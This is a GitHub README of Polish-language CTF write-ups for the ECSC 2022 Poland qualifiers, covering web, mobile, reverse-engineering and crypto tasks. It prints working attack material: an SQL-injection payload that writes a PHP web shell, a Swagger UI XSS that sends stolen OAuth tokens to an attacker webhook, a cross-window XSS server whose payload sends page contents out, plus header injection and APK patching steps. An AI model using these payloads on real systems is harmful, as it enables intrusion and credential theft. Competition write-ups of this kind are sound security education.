Skip to content

jakub-lat/ecsc-2022-poland-writeups

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 Cannot retrieve latest commit at this time.

History

10 Commits
 
 
 
 

Repository files navigation

ECSC 2022 Poland Qualifications

Kolska leaks

W https://kolska-leaks.ecsc22.hack.cert.pl/download?filename= widać path traversal

Wystarczy pobrać kod aplikacji: /download?filename=app.py

Jest w nim zawarty secret key sesji

image

Rozwiązanie: wystarczy stworzyć lokalną aplikację we flasku z tym samym sekretem sesji, wejść przez przeglądarkę i przekopiować ciasteczko

Cat blag

Hint:

image Przy użyciu https://github.com/arthaud/git-dumper można pobrać kod źródłowy strony

w index.php znajduje się podatność sql injection:

image

Payload:

'); ATTACH DATABASE '/var/www/html/uploads/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");

Flaga: /uploads/lol.php?cmd=cat ../this-is-the-flag-but-with-an-unpredictable-name.txt

Szwagier

Podatność XSS w swaggerze

https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/

Wersja swaggera w https://szwagier.ecsc22.hack.cert.pl/static/swagger/swagger-ui-bundle.js:

image

swagger: '2.0'

info:
  title: Classic API Resource Documentation
  description: |
    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror={{PAYLOAD}} src=1>"></form>
  version: production

  

securityDefinitions:
  OAuth2:
    type: oauth2
    flow: implicit
    authorizationUrl: https://www.facebook.com/v14.0/dialog/oauth
    scopes:
      public_profile: Grants read access

Trzeba ją wykorzystać do redirectu na oauth2 facebooka i przechwycenia tokenu

baseURL = ''; // np. ngrok/webhook.site
clientID = '1269703586711557';

app.get('/swagger.yml', (req, res) => {
    let f = fs.readFileSync(__dirname+'/static/swagger.yml').toString();

    const payload = `

    window.swaggerUIRedirectOauth2 = {
        callback(msg) { fetch('${baseURL}/log?msg=' + encodeURIComponent(msg.token.access_token)) },
        state: '123',
        auth: {
            schema: {
                get() {return'authorizationCode'},
                redirectUrl: '',
            },
            code: 'test',
        }
    };

    window.open('https://www.facebook.com/v14.0/dialog/oauth?response_type=token&client_id=${clientID}&state=123&scope=user_photos%20public_profile&redirect_uri=https%3A%2F%2Fszwagier.ecsc22.hack.cert.pl%2Fstatic%2Fswagger%2Foauth2-redirect.html')`;

    f = f.replace('{{PAYLOAD}}', payload.replace(/[\s\t\n]/g, ''));
    res.send(f);
});

Monster

Sekrety mają podatność XSS

Rozwiązanie:

  1. Bot otwiera stronę atakującego /
  2. Strona / otwiera secret.monster.ecsc22.hack.cert.pl/secret używając window.open(..., 'secret') - tam jest flaga
  3. Strona otwiera ścieżkę, /2 która loguje się na konto atakującego
  4. Strona / przechodzi na secret.monster.ecsc22.hack.cert.pl/secret, gdzie odpala się XSS atakującego
  5. XSS bierze referencję do wcześniej otwartej strony z flagą używając w = window.open('', 'secret'); i może bez problemów przesłać flagę do atakującego

index.js:

import express from 'express';
import fetch from 'node-fetch';
import * as fs from 'fs';
import cors from 'cors';

const app = express();

app.use(cors({
    origin: '*',
}));


app.use(express.static('static'));

app.use((req, res, next) => {
    console.log(req.method, req.path);
    next();
});

const u = 'asdf_' + Date.now();

(async function() {
    const data = new URLSearchParams();
    data.append('username', u);
    data.append('password', u);
    data.append('secret', fs.readFileSync('payload.html').toString());
    const r = await fetch('https://monster.ecsc22.hack.cert.pl/register', { method: 'post', body: data });
    console.log('registered as '+u);
})();

app.get('/', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
    <script>
    window.originalWindow = window.open('https://secret.monster.ecsc22.hack.cert.pl/secret', 'secret');
    window.open('/2');


    setTimeout(() => {
        window.location.href = 'https://secret.monster.ecsc22.hack.cert.pl/secret#3';
    }, 2000);

    </script>
    `);
});

app.get('/2', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
    <script>
    loginWindow = window.open('/login');
    setTimeout(() => {
        loginWindow.document.getElementById('f').submit();
    }, 500);
    setTimeout(() => {
        xssWindow = window.open('https://secret.monster.ecsc22.hack.cert.pl/secret');
    }, 1000);
    </script>
    `);
});

app.get('/login', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
    login
    <form id='f' method='post' action='https://monster.ecsc22.hack.cert.pl'>
    <input name='username' value='${u}'>
    <input name='password' value='${u}'>
    <input type=submit />
    </form>
    `);
});

app.post('/', (req, res) => {
    console.log('post');
})

app.get('/res', (req, res) => {
    console.log(decodeURIComponent(req.query.q));
    res.send('');
});

app.listen(3000, () => console.log('listening on port 3000'));

payload.html:

<script>
    setTimeout(() => {
        if (window.location.hash === '#3') {
            w = window.open('', 'secret');
            setTimeout(() => {
                fetch('https://<url>/res?q=' + encodeURIComponent('hello from #3 ' + w.document.body.innerHTML));
            }, 200);
        } else {
            fetch('https://<url>/res?q=' + encodeURIComponent('hello from xss'));
        }
    }, 500);
</script>

Flag shop

Cel: umożliwić kupno flagi nie mając wystarczającej ilości kasy

Aplikacja jest napisana w react native, po dekompilacji widać że index.android.bundle jest skonwertowany do bytecode używając Hermes engine

Narzędzia: https://ibotpeaches.github.io/Apktool/ https://github.com/niosega/hbctool/tree/draft/hbc-v84 https://github.com/patrickfav/uber-apk-signer

Dekompilacja:

apktool d Flagshop-preprod.apk
cp Flagshop-preprod/assets/index.android.bundle .
hbctool dasm index.android.bundle hbc_out

Modyfikacja: Lista OPCode'ów hermesa: https://github.com/facebook/hermes/blob/41752c6589227694ae3a96a34e932c74c9ce3699/include/hermes/BCGen/HBC/BytecodeList.def

image Trzeba zmienić JmpTrue na JmpFalse w funkcji buy

Kompilacja, podpisanie i wgranie APK:

hbctool asm hbc_out Flagshop-preprod/assets/index.android.bundle
rm .\FlagShop-preprod\dist\*
apktool b Flagshop-preprod
java -jar ./uber-apk-signer-1.2.1.jar --apks ./FlagShop-preprod/dist/
adb uninstall "ctf.ecsc.task.flagstore"
adb install .\FlagShop-preprod\dist\FlagShop-preprod-aligned-debugSigned.apk

Long hash

Kod sprawdza flagę z dużą ilością dzikich funkcji, trzeba go odwrócić żeby poznać poprawny input

Rozwiązanie:

  1. Wyeksportować kod programu przez Ghidrę
  2. Oczyścić kod
    • zamienić undefined8 na long long, pozbyć się niepotrzebnych funkcji, zmienić main na image
  3. Skompilować ponownie używając gcc -O3 -o res code.c
  4. Skrypt do rozwiązania:
ulong_max = int('f'*16, 16)

fn1 = ''' <funkcja fn1> '''
fn2 = ...
fn3 = ...
fn4 = ...
fn5 = ...
  

def solve(code, target):
    operations = re.findall('([+\^])[\s\n\t]*0x([a-f0-9]+)', code, flags = re.M | re.I)
    for op, num in operations[::-1]:
        n = int(num, 16)

        if op == '+':
            target -= n
        elif op == '^':
            target ^= n

        if target < 0:
            target = ulong_max + 1 + target
  
    return bytes.fromhex(f'{target:x}')[::-1]
  

print(b''.join([
    solve(code, target)
    for code, target in [
	    (fn1, -0xe9eb6ada9564182),
	    (fn2, -0x612e0ca67d2ca983),
	    (fn3, 0x5e8932b407b62517),
	    (fn4, 0x5b65919c50a3b933),
	    (fn5, 0x5f27b58fa8883409)
    ]
]))

Visual steganography

Trzeba wydobyć obrazki z 3 z 5 plików

page.html

  1. Usunąć wszystkie wystąpienia :hover
  2. Wydobyć komendę z kodu QR
  3. Zapisać INPUT_FILE (np używając innerText i usuwając podwójne entery)
  4. Uruchomić komendę w kodzie QR
  5. Profit

960x300_0__1

Podwójne spacje = 1, pojedyńcza = 0

import re
import numpy as np
import matplotlib.pyplot as plt

res = []

with open('in/960x300_0__1') as f:
    content = f.read()
    row, i = 0, 0

    for x in re.findall('\s{1,2}', content):
        res.append(255 if x == '  ' else 0)
  
res = np.array(res).reshape((300, 960))

fig = plt.figure(figsize=(960, 300))

plt.imsave('out/960x300_0__1.png', res, cmap='gray')

program

  1. objdump -D program > program.dump
  2. Zostawić tylko treść funkcji row
import re
import numpy as np
import matplotlib.pyplot as plt

cnt = 0
res = []

with open('program.dump') as f:
    for line in f.readlines():
        if 'addl' in line:
            res.append(255 if '-0x8(%rbp)' in line else 0)

  
res = np.array(res).reshape((300, 960))

fig = plt.figure(figsize=(960, 300))
plt.imsave('out/program.png', res, cmap='gray')

Potem trzeba nałożyć wszystkie obrazki na siebie i ustawić tryb na Dodawanie:

image

SEALed communication

  1. Zdekompilować .exe np. przez dotPeek
  2. Zapisać JSONa z pcap do pliku
  3. Stworzyć nowy projekt, załączyć SEALNet.dll i dodać sealc.dll do Debug/bin
public static void Main(string[] args)

        {

            SecretKey secretKeyToSecretKey = BFVEncryptionUtils.ParseBase64EncodedSecretKeyToSecretKey(File.ReadAllText("../../secretkey.key"));
            PublicKey publicKeyToPublicKey = BFVEncryptionUtils.ParseBase64EncodedPublicKeyToPublicKey(File.ReadAllText("../../publickey.key"));
            BFVEncryptionProvider encryptionProvider = new BFVEncryptionProvider();
            Decryptor decryptor = new Decryptor(encryptionProvider.GetSEALContext(), secretKeyToSecretKey);
            IntegerEncoder encoder = new IntegerEncoder(encryptionProvider.GetSEALContext());
            Encryptor encryptor = new Encryptor(encryptionProvider.GetSEALContext(), publicKeyToPublicKey, secretKeyToSecretKey);

  

            var inFile = File.ReadAllText("../../in.json");
            var data = JsonConvert.DeserializeObject<Data>(inFile);
            
            var plaintextLat = new Plaintext();
            var plaintextLng = new Plaintext();

            var ciphertextLat = BFVEncryptionUtils.ParseBase64EncodedCiphertextToCiphertext(data.Latitude);
            var ciphertextLng = BFVEncryptionUtils.ParseBase64EncodedCiphertextToCiphertext(data.Longitude);

            decryptor.Decrypt(ciphertextLat, plaintextLat);
            decryptor.Decrypt(ciphertextLng, plaintextLng);

            Console.WriteLine($"{encoder.DecodeInt32(plaintextLat)} {encoder.DecodeInt32(plaintextLng)}");

        }

Koordynaty: 49.232134, 19.981809 Flaga: ecsc{kasprowywierch}

Validator

Kod aplikacji (z jadxgui): Wysyła request z id i sygnaturą

image

Ładowanie klucza Ed25519 (R.raw.key):

image

Klucz można znaleźć w zasobach:

image

Należy podpisać input flag i przekonwertować go na array z sygnaturą

import ed2551
  
keydata = open("key.bin","rb").read()
signing_key = ed25519.SigningKey(keydata)
  
res = signing_key.sign(b'flag')
print(res)
  
arr = [x & 255 for x in res]
print(arr)

Potem wysłać request POST na https://validator.ecsc22.hack.cert.pl

{"id": "flag", "signature": <arr ze skryptu>}

QuicLookAtThis

Zadanie: Docker z Nginxem obsługującym HTTP3, ze zmodyfikowanym kodem który nie waliduje headerów

Trzeba obejść localhost checka

Główną częścią zadania było znalezienie działającego klienta http3 (w moim przypadku https://github.com/cloudflare/quiche)

Header X-Forwarded-For jest przesyłany przez proxy do serwera HTTP/1 bez wcześniejszej walidacji, co pozwala na wstrzyknięcie headera X-Real-IP

#!/bin/bash

url=$(echo -e "https://quiclookthis.ecsc22.hack.cert.pl:18443/get/flag/get/flag");

header=$(echo -e "X-Forwarded-For: 127.0.0.1\r\nX-Real-IP: 127.0.0.1");

cargo run --bin quiche-client -- --no-verify "$url" -H "$header" $1;

Looking at sound

Rozwiązanie: Użycie pluginu NUGEN VIsualiser2 w Waveform i odczytanie flagi z Phase Inspector

image

Shifting

Trzeba odwrócić XORy żeby poznać część klucza, a następnie zrobić bruteforce na pozostałych 8 bitach klucza (skrypt pewnie jest przekomplikowany)

import string

alphabet = string.ascii_letters + string.digits + '_{}' 


data = bytes.fromhex('173ca059bf5d2027251c499b87ca1806b6c6c304153d203b38')

n = 25
flag = b'ecsc{' + (b'_' * (n-6)) + b'}'


def set_str_char_at(s, i, c):
    if chr(c) not in alphabet:
        c = ord('?')
    newString = s[:i] + chr(c).encode() + s[i+1:] 
    return newString


def get_flag_char_at(flag, i):
    return flag[(i + n) % n]

def left_shift(x, b):
    res = x << b
    res2 = res & (int('1' * 64, 2))
    res3 = res & (int(('1' * 8) + ('0' * 64), 2))
    return res2 | (res3 >> 64)

key = 0

key_solved = 0

key_i = [None] * n
shift = [None] * n

i = n - 1
key_i2 = get_flag_char_at(flag, -1) ^ get_flag_char_at(flag, 0) ^ data[n-1]
print(f'{key_i2:b}')

for i in range(0, 32):
    if (key >> i) & 255 ^ key_i2 == 0:
        print('ok', i)
        shift = i
        key |= left_shift(key_i[i], shift[i])
        key |= left_shift(key_i[i], (shift[i] + 32))

print(f'i  sh  key_i {" "*25} mask {" "*64} key {" "*64} temp')


for i in range(4):
    key_i[i] = get_flag_char_at(flag, i) ^ get_flag_char_at(flag, i+1) ^ data[i]
    shift[i] = get_flag_char_at(flag, i-1) % 32

    temp = left_shift(key_i[i], shift[i])

    print(f'{i} {key_i[i]:3d} {shift[i]:5d} {key_solved:64b} {key:64b} {temp:64b}')

    key |= temp
    key |= left_shift(key_i[i], (shift[i] + 32))

    key_solved |= left_shift(255, shift[i])
    key_solved |= left_shift(255, shift[i] + 32)



print('\n')
print(f'mask: {key_solved:64b} key: {key:64b}')



def fill_missing(key, new_flag):
    for i in range(0, 23):
        shift[i] = get_flag_char_at(new_flag, i-1) % 32
        # print(shift[i], get_flag_char_at(new_flag, i-1))
        key_i2 = key >> shift[i]
        key_i2 = key_i2 & 255

        new_flag = set_str_char_at(new_flag, i+1, data[i] ^ get_flag_char_at(new_flag, i) ^ key_i2)

    if b'?' not in new_flag:
        print(new_flag)
    return new_flag


saved_key = key
saved_flag = flag

for missing in range(0, 255):
    key = saved_key
    flag = saved_flag

    mask_binary = f'{key_solved:064b}'.encode()
    new_key_binary = f'{key:064b}'.encode()
    missing_binary = f'{missing:08b}'.encode()
    
    i = 0
    for pos, x in enumerate(mask_binary):
        if x == ord('0'):
            c = missing_binary[i]
            new_key_binary = set_str_char_at(new_key_binary, pos, c)
            new_key_binary = set_str_char_at(new_key_binary, pos+32, c)
            i += 1
            if i == 8:
                break
    

    key = int(new_key_binary, 2)
    res = fill_missing(key, flag)

QuickMaths

W arrayu znajduje się g^223 mod p i g^221 mod p Można z nich otrzymać g^2 mod p

from Crypto.Util.number import long_to_bytes
import math

p = ...
arr = [(221, ...), (223, ...)]
d = dict(arr)

c = (d[223] * pow(d[221], -1, p)) % p 
g = math.isqrt(c)

flag = (d[221] * pow(g, -221, p)) % p

print(long_to_bytes(flag))

About

Writeups for ECSC 2022 Poland Qualifications

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published